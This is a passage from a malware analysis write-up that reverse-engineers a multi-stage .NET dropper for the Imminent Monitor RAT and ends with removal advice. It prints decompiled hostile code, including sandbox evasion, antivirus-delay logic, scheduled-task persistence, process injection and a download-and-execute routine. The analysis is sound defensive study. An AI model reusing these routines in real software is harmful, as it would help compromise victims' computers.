The variable named array3 is equal to the decrypted value of the value of the first split resource.

After renaming the functions and fields based on their description, the first part of the main function is clearly readable, as can be seen below.

private static void Main(string[] args)
{
    try
    {
        Thread.Sleep(0);
        if (MainClass.DWireshark() || MainClass.IsDebuggerPresent() || MainClass.DEmulation() || MainClass.DSandboxie())
        {
            //Environment.Exit(0);
        }
        string key = "BVTZNORUIRCENBVRNXNTBNOVZTINBRRTZNECCUXOUTNMZMCEIRUOOZONUOEORMBTZNRENZU";
        bool flag = true;
        bool flag2 = false;
        bool flag3 = true;
        bool flag4 = false;
        //byte[] assetAsByteArray = (byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("CCMIBETXUERE");
        byte[] assetAsByteArray = Properties.Resources.CCMIBETXUERE;
        string[] splitAsset = Regex.Split(Encoding.Default.GetString(assetAsByteArray), "kozqk");
        byte[] input = new byte[255];
        Assembly assemblyPart2 = AppDomain.CurrentDomain.Load(MainClass.decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
        byte[] assemblyPart1 = MainClass.decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key);
	[...]

Note that the line regarding the detection techniques, Environment.Exit(0), has been commented out for debugging purposes. The resource has also been altered so it properly loads in the Visual Studio project.

The next part of the main function selects the RunLib type from the assemblyPart2 assembly. This is a clue regardng the filetype of the assembly: a library. To get a general overview, the code is first given in its totality.

foreach (Type type in assemblyPart2.GetTypes())
{
	if (type.Name == "RunLib")
	{
		if (flag)
		{
			Thread.Sleep(6000);
			type.InvokeMember("okapise", BindingFlags.InvokeMethod, null, Activator.CreateInstance(type), new object[]
			{
				Assembly.GetEntryAssembly().Location,
				"OXPZYZ.exe",
				"OXPZYZ",
				false
			});
		}
		type.InvokeMember("Inj", BindingFlags.InvokeMethod, null, Activator.CreateInstance(type), new object[]
		{
			assemblyPart1,
			"itself",
			false,
			false,
			false,
			"OXPZYZ.exe",
			args
		});
		if (flag4)
		{
			type.InvokeMember("mb", BindingFlags.InvokeMethod, null, Activator.CreateInstance(type), new object[]
			{
				"[BODY]",
				"[TITLE]",
				"warning",
				"[MSGONCE]"
			});
		}
		if (flag3)
		{
			type.InvokeMember("d", BindingFlags.InvokeMethod, null, Activator.CreateInstance(type), new object[]
			{
				Encoding.Default.GetString(MainClass.decrypt(Properties.Resources.dl, input, key)),
				//Encoding.Default.GetString(MainClass.decrypt((byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("dl"), input, key)),
				"Z"
			});
		}
		if (flag2)
		{
			type.InvokeMember("zalepen", BindingFlags.InvokeMethod, null, Activator.CreateInstance(type), new object[]
			{
				//MainClass.decrypt((byte[])new ResourceManager("BNXEITRNUMETMXIM", Assembly.GetExecutingAssembly()).GetObject("bind"), input, key),
				MainClass.decrypt(Properties.Resources.bind, input, key),
				"[BINDONCE]"
			});
		}
	}
}

Note that the code BindingFlags.InvokeMethod is not there in the decompiled code. The value 256 is used in the decompiled code. The value equals the enumeration value that has been used in the code. Since Visual Studio is unable to process the direct value of an enumeration, it has been replaced. The exact values can be found here.

Additionally, the resource in the last if-statement has been adjusted to properly function within Visual Studio, if it were present. Alas, it is not. This might be another clue that the malware is still being developed further. The flag which determines the execution of this command is set to false by default (and is never possibly altered), which is why the execution never takes place.

The code has a lot of repetition, since it invokes a function within every if-statement. The details are a bit different however. The given method names in the asset and the arguments for the function give an indication of the function’s content.

The first if-statement calls a function named okapise within the assembly. It provides the location of the current program, two names and a boolean which is set to false. Based on this, it might execute a file with the given name.

The second if-statement calls a function named Inj together with the byte array assemblyPart1, two strings, three booleans and the arguments that were passed to this program. Given that the name Inj is short for Inject in many cases, the binary probably injects itself in a process.

The third if-statement calls a function named mb together with four strings. The name mb is possibly shorthand for MessageBox, especially knowing that the terms body, title, warning and messageonce are used in messageboxes.

The fourth if-statement calls a function named d which uses the resource dl and a string as parameters. Upon inspecting the dl resource, together with the fact that dl is often shorthand for Download, this function most likely downloads a file. The content of the dl resource is a partially encrypted URL, which is given below.

http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci

The fifth if-statement calls a function named zalepen which uses the resource bind and a string. Since there is no resource available to inspect, it is hard to guess what this function exactly does. The name does not provide information either. The string has the word bind in it, meaning that the malware might bind itself to something. This is, however, just speculation. The function within the library most likely provides more information.

Although estimates and guesses provide insight and information, there is no certainty in the given estimates. To be certain, one has to inspect the assets, alas those are not written to the disk before execution and are encrypted before the execution. To overcome this, one can alter the code and stop the execution whenever is desired. The following snippet can be used to write the the decrypted assets to the disk.

[...]
File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key));
File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key));
Environment.Exit(0);
foreach (Type type in assemblyPart2.GetTypes())
{
	[...]
}
[...]

Summary
Similar to the last stage, a summary is helpful. In this case, it is especially helpful since functions that reside within the library are invoked in the second stage of the dropper. The arguments reside within the second stage, whilst the code that gets executed within the third stage of the dropper.

  1. Depending on the environment, the execution of the program either stops or continues
  2. The flags which later define which functions are executed in the library are set
  3. The two assets are loaded in memory
  4. Depending on the flags, the given methods within the library are executed with parameters that are defined

Loader - stage 3 | part 1

According to dnSpy, the asset assemblyPart1.exe was originally named svchost.exe (version 0.0.0.0) and has its entry point at 71395ebe-8ca7-4156-9647-3b87a2912a86.Method0. This binary is obfuscated using strings that are long and have no meaning, as can be seen in the example below.

public static void Method0()
{
	AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1);
	3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d();
	3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1();
}

When browsing through the file, one can see an additional namespace, which is human readable: Imminent-Monitor-Client-Watermark. It also contained a message regardng malicious use, which can be found below.

// Imminent-Monitor-Client-Watermark
// 
// Types:
// 
// Please-contact-abuse@imminentmethods.net-with-the-hardware-id:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode

Upon visiting the website of Imminent Methods, their slogan made it clear what the purpose of this payload was: The Best in Remote Administration. After executing this prepared binary, the victim's device becomes accessible within the control panel of the Imminent Methods software. This is the core functionality of the RAT.

Loader - stage 3 | part 2

After opening the assemblyPart2.dll with dnSpy, it becomes apparent that it is a dynamic link library (original name graznataguz.dll, version 1.1.0.0) in which there are two classes. Firstly, the empty inner class module can be observed. Additionally, there is a class named RunLib, which has the same name as the on that is selected in stage 2. Using the functions within the if-statements and the library, one can start to match the made assumptions based on facts.

okapise
In the first if-statement, the function okapise is invoked together with four parameters. Below, the decompiled function can be found.

public static void okapise(string location, string filename, string value, bool hide)
{
	Directory.CreateDirectory(Environment.GetFolderPath(26) + "\\" + value);
	string text = string.Concat(new string[]
	{
		Environment.GetFolderPath(26),
		"\\",
		value,
		"\\",
		filename
	});
	string text2 = string.Concat(new string[]
	{
		Environment.GetFolderPath(26),
		"\\",
		value,
		"\\",
		RunLib.RndString(5),
		".xml"
	});
	string name = WindowsIdentity.GetCurrent().Name;
	string text3 = Resources.TE;
	if (!(location == text))
	{
		File.Copy(location, text, true);
	}
	bool flag = (File.GetAttributes(location) & 2) == 2;
	if (hide && !flag)
	{
		File.SetAttributes(text, File.GetAttributes(text) | 2);
	}
	text3 = text3.Replace("[USERID]", name).Replace("[LOCATION]", text);
	File.WriteAllText(text2, text3);
	Process.Start(new ProcessStartInfo("schtasks.exe", string.Concat(new string[]
	{
		"/Create /TN \"" + value + "\\",
		value,
		"\" /XML \"",
		text2,
		"\""
	}))
	{
		WindowStyle = 1
	}).WaitForExit();
	File.Delete(text2);
}

The integer 26 is equal to the enumeration value System.Environment.SpecialFolder.ApplicationData, as can be seen here. The decompiled function RndString is given below.

private static string RndString(int Length)
{
	string text = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890";
	string text2 = "a";
	for (int i = 0; i < Length; i++)
	{
		text2 += text.get_Chars(new Random().Next(0, text.Length)).ToString();
	}
	return text2;
}

This function returns a string with a given length based on the alphanumeric alphabet (in both lower and upper casing) and the underscore.

Lastly, the resource named TE is used within the okapise function. The resource, an XML-sheet, is given below.

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2014-10-25T14:27:44.8929027</Date>
    <Author>[USERID]</Author>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
      <UserId>[USERID]</UserId>
    </LogonTrigger>
    <RegistrationTrigger>
      <Enabled>false</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>[USERID]</UserId>
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>false</AllowHardTerminate>
    <StartWhenAvailable>true</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>[LOCATION]</Command>
    </Exec>
  </Actions>
</Task>

The function okapise requires a location, filename, value and a boolean to decide if it should stay hidden. Within the ApplicationData folder, a new file is created using the resource as a template. Within the template, the [USERID] and [LOCATION] tags are replaced with the name of the current user and the location of OXPZYZ.exe (since this string was given in the parameters).
Using schtasks.exe (which is the Windows Task Scheduler), it creates a new task to start OXPZYZ.exe when the user logs in. This part of the malware persists the final payload, which is named OXPZYZ.exe.

Inj
The Inj function requires multiple arguments, such as the asset, name, persistance boolean, elevated permissions boolean, critical process boolean, the startup string and additional parameters. The decompiled code is given below.

public static void Inj(byte[] bbs, string name, bool pers, bool elevated, bool critical, string startup, string[] param)
{
	Process.GetProcessesByName("AvastUI");
	if (RunLib.IsProcessRunning("AvastUI") || RunLib.IsProcessRunning("AVGUI"))
	{
		Thread.Sleep(25000);
	}
	try
	{
		if (RunLib.isDotNet(bbs))
		{
			name = Assembly.GetEntryAssembly().Location;
		}
		else if (name.Contains("itself"))
		{
			name = Assembly.GetEntryAssembly().Location;
		}
		else
		{
			RunLib.native = true;
			if (name.Contains("default"))
			{
				name = RunLib.defBrowser();
			}
			if (name.Contains("svchost"))
			{
				name = Environment.GetEnvironmentVariable("WinDir") + "\\System32\\svchost.exe";
			}
			else if (name.Contains("vbc"))
			{
				name = Environment.GetEnvironmentVariable("WinDir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe";
			}
			else if (name.Contains("cvtres"))
			{
				name = Environment.GetEnvironmentVariable("WinDir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\cvtres.exe";
			}
			else if (name.Contains("csc"))
			{
				name = Environment.GetEnvironmentVariable("WinDir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe";
			}
			else
			{
				try
				{
					File.Copy(Environment.GetEnvironmentVariable("WinDir") + "\\System32\\svchost.exe", Path.GetTempPath() + name + ".exe", true);
				}
				catch
				{
				}
				name = Path.GetTempPath() + name + ".exe";
			}
		}
		bool flag = true;
		string text = Assembly.GetEntryAssembly().Location;
		if (param.Length > 1)
		{
			text = param[2];
		}
		else
		{
			text = Assembly.GetEntryAssembly().Location;
			if (!string.IsNullOrEmpty(startup))
			{
				text = Path.GetTempPath() + startup;
			}
		}
		if (param.Length <= 1)
		{
			int num = 0;
			num = RunLib.Run(bbs, name);
			flag = false;
			if (pers)
			{
				try
				{
					RunLib.CheckRunning("svcchost");
					File.Copy(Assembly.GetEntryAssembly().Location, Path.GetTempPath() + "svcchost.exe", true);
				}
				catch
				{
				}
				Process process = new Process();
				process.StartInfo.FileName = Path.GetTempPath() + "svcchost.exe";
				process.StartInfo.Arguments = "-woohoo " + num.ToString() + " " + text;
				process.Start();
				int id = process.Id;
			}
		}
		if (flag)
		{
			if (pers)
			{
				if (param[0] != "-woohoo")
				{
					try
					{
						RunLib.ProcessPers(Convert.ToInt32(param[2]), param[3]);
						goto IL_274;
					}
					catch
					{
						goto IL_274;
					}
				}
				RunLib.ProcessPers(Convert.ToInt32(param[1]), param[2]);
			}
			IL_274:
			while (flag)
			{
				Thread.Sleep(100);
			}
		}
	}
	catch (Exception ex)
	{
		MessageBox.Show(ex.Message);
	}
}

At first, the function checks if Avast or AVG is currently active. If so, it waits for 25 seconds before continuing. Since all execution takes place in memory, it is safe to assume the program is not in an emulator anymore. Regardless, the sleep time wont evade antivirus suites, since they are triggered upon events. Next, the given byte array is checked against the Dot Net Framework. If the Dot Net Framework can load the library, it is a Dot Net library and the location is saved. This is also the case if the provided name argument equals itself. If the name parameter contains the string default, the default browser is used. The default browser is taken from the registry, as can be seen in the decompiled code below.

public static string defBrowser()
{
	string result;
	try
	{
		RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserChoice");
		result = Registry.ClassesRoot.OpenSubKey(registryKey.GetValue("ProgId") + "\\shell\\open\\command").GetValue(null).ToString().Split(new char[]
		{
			'"'
		})[1];
	}
	catch
	{
		result = "svchost";
	}
	return result;
}

In any other case, a native library is assumed and is executed using the Dot Net Framework or service host (svchost.exe). If a process with the name svcchost is already running, the library tries to kill the process, as can be seen in the decompiled code below. The additional c seems to be a spelling mistake by the malicious actor.

private static void CheckRunning(string name)
{
	foreach (Process process in Process.GetProcesses())
	{
		if (process.ProcessName.Contains(name) && process.StartInfo.FileName == Path.GetTempPath() + name + ".exe")
		{
			try
			{
				process.Kill();
			}
			catch
			{
			}
		}
	}
}

Using the parameters that are provided, the behaviour might be altered a bit (such as a different file name). In this sample, that is not the case, since the given argument, itself, specifies the behaviour. The given file name is OXPZYZ.exe, similar to the string in the persistance function that was analysed before.

mb
The message box function (mb) requires multiple parameters: text, caption, icon and once. The decompiled code from the library is given below.

public static void mb(string text, string caption, string icon, string once)
{
	if (!RunLib.checkreg(once))
	{
		MessageBoxIcon messageBoxIcon = 0;
		string text2 = icon.ToLower();
		if (!(text2 == "hand"))
		{
			if (!(text2 == "warning"))
			{
				if (text2 == "asterisk")
				{
					messageBoxIcon = 64;
				}
			}
			else
			{
				messageBoxIcon = 48;
			}
		}
		else
		{
			messageBoxIcon = 16;
		}
		MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String(text)), Encoding.UTF8.GetString(Convert.FromBase64String(caption)), 0, messageBoxIcon);
	}
}

The text and the caption should be base64 encoded, since they are decoded within the mb function. None of the given arguments are base64 encoded. Changing flag4 to true and the others to false in the second stage dropper, one can see an error pop up due to the given try-catch structure. This error confirms the fact that the used strings are not base64 encoded nor that they are somehow altered before the call to the library is made.

d
The function d downloads and executes a given binary. In the second stage loader, the output of the encrypted resource is obtained by decoding the resource, which is a partial readable URL, as can be seen below.

http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci

Using the code below, one can display a messagebox with the decoded content. Make sure to exit the program afterwards to avoid executing the payload accidentally.

string output = Encoding.Default.GetString(MainClass.decrypt(Properties.Resources.dl, input, key));
MessageBox.Show(output);
Environment.Exit(0);

The output is a link to a VPN installer which is hosted on the University of Gent's website, as can be seen in the output below.

http://helpdesk.ugent.be/vpn/download/anyconnect-win-4.5.02033-core-vpn-predeploy-k9.msiPrasenci

The function in the library also takes an additional parameter besides the url: the string Z. The decompiled function d from the library is given below.

public static void d(string original, string once)
{
	WebClient webClient = new WebClient();
	string[] array = Regex.Split(original, "Prasenci");
	if (!RunLib.checkreg(once))
	{
		foreach (string text in array)
		{
			if (!string.IsNullOrEmpty(text))
			{
				try
				{
					string[] array3 = text.Split(new char[]
					{
						'/'
					});
					string text2 = Path.GetTempPath() + array3[array3.Length - 1];
					webClient.DownloadFile(text, text2);
					Process.Start(text2);
				}
				catch
				{
				}
			}
		}
	}
}

The appended string Prasenci is used as a splitter to only keep the URL. This might be used to avoid detection techniques which are based upon addresses which contain an executable.

The string Z is only used in the checkreg function. This function is analysed below. Before going to the analysis of the checkreg function, the rest of the download function will be analysed. The last part of the url (the part after the last slash) is used as the filename. The web client will download the file from the given url, save it in the system's temporary folder and execute it.

public static bool checkreg(string name)
{
	bool result;
	try
	{
		if (string.IsNullOrEmpty(name))
		{
			result = false;
		}
		else if (Registry.CurrentUser.OpenSubKey(name) == null)
		{
			RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(name);
			registryKey.SetValue("Serial", name);
			registryKey.Close();
			result = false;
		}
		else
		{
			result = true;
		}
	}
	catch
	{
		result = false;
	}
	return result;
}

If the registry key with the name of Z is already present, the bot is already registered on the system. Thus, the same function does not need to be executed again. Doing so, would increase the chance of getting caught by the antivirus suite.

zalepen
Within the second stage loader, the zalepen method is invoked with two parameters: the bind asset and the string . Similar to the messagebox function, the string is surrounded by brackets and written in all caps.

The code of the zalepen function in the library is given below.

public static void zalepen(byte[] fullbytes, string once)
{
	string[] array = Regex.Split(Encoding.Default.GetString(fullbytes), "smazan");
	if (!RunLib.checkreg(once))
	{
		for (int i = 0; i < array.Length; i++)
		{
			if (array[i] != "")
			{
				string[] array2 = Regex.Split(array[i], "seremise");
				byte[] bytes = Encoding.Default.GetBytes(array2[0]);
				if (RunLib.isDotNet(bytes))
				{
					RunLib.RunNt(bytes);
				}
				else
				{
					string text = Path.GetTempPath() + array2[1];
					try
					{
						File.WriteAllBytes(text, bytes);
						Process.Start(text);
					}
					catch
					{
					}
				}
			}
		}
	}
}

The provided byte array is split using the string smazan. Using the checkreg function, the existence of the registry key under the name of is checked. For each of the values in the array, a new array is created. This new array is based upon a new splitting string: seremise. Only the first item of this new array is used (at index 0). If the library is a Dot Net library it is started. If this fails, it is loaded as a native library. If it is not a library, it is started as a process. The code for the isDotNet and RunNt functions is given below.

public static bool isDotNet(byte[] bytesdotnet)
{
	bool result;
	try
	{
		Assembly.Load(bytesdotnet);
		result = true;
	}
	catch (Exception)
	{
		result = false;
	}
	return result;
}
public static int RunNt(byte[] datatorun)
{
	int result;
	try
	{
		Thread thread = new Thread(new ParameterizedThreadStart(RunLib.RunNet));
		thread.SetApartmentState(0);
		thread.Start(datatorun);
		result = Process.GetCurrentProcess().Id;
	}
	catch (Exception)
	{
		RunLib.native = true;
		result = RunLib.Run(datatorun, Assembly.GetCallingAssembly().Location);
	}
	return result;
}

Conclusion

The RAT is split up in multiple stages, which all serve a different function. The stages are briefly summarised below. Lastly, ways to remove this RAT from your system will be given.

Stage 1
After the initial execution, the wrapper component is dropped. This stage is used to evade the antivirus suites since it can change a lot without affecting the rest of the malware. Using different functions and different techniques, the call graph, flow graph and signatures will differ whilst the rest of the malware stays the same.

Stage 2
This stage functions as a wrapper for the RAT payload (stage 3, part 1) and the library (stage 3, part 2). Depending on the configuration, different code is executed. This wrapper is also relatively easy to change, since it simply invokes functions within a library. Splitting part of the payload (the RAT component and the persistance for example, which are in different assets) also avoids antivirus detection since the RAT is only loaded and executed if the second stage dropper's configuration allows it to. Otherwise, it remains encrypted.

Stage 3 | Part 1
The RAT payload is a program that is also used legitimately, making it harder for antivirus software to detect the way it is used, instead of simply detecting the program.

Stage 3 | Part 2
The library contains a lot of functions, which can be changed as long as the same parameters are kept. This way, one could make multiple libraries that function the same but have different code to perform the actions. This would make the malware more polymorphic.

Malware removal
To remove the malware, simply remove the task and remove the file from the ApplicationData folder. Even though the first step would suffice to avoid an infection, it is always best to remove everything.

To immunise the system if one were to be infected in the future, the given registry keys can be created. Since the checkreg function in the library (stage 3, part 2) avoids execution if the registry key exists.


To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit or DM me on Twitter @LibraAnalysis.